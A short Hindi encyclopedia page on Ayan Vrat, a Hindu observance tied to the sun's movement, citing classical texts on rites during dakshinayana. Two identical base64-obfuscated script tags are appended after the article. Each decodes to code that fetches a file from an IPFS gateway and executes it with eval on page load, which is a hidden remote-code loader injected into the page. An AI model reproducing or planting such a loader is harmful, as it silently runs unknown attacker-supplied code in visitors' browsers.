अयन व्रत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • अयनव्रत सूर्य की गति पर निर्भर रहता है।
  • दो अयन होते हैं। जब सूर्य कर्कट राशि में प्रवेश करता है, तब दक्षिणायन का आरम्भ होता है।
  • कालनिर्णयकारिका[1] में आया है- 'दक्षिण एवं उत्तर अयन क्रम से भयंकर एवं शान्त कृत्यों के लिए है" और उसके विवरण में आया है कि माताओं, भैरव, वराह, नरसिंह, वामन एवं दुर्गा की मूर्तियाँ दक्षिणायन में स्थापित की जाती हैं।[2]

टीका टिप्पणी और संदर्भ

  1. कालनिर्णयकारिका 14
  2. कृत्यरत्नाकर (218), हेमाद्रि (काल, 16); समयमयूख (173); समयप्रकाश (13

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>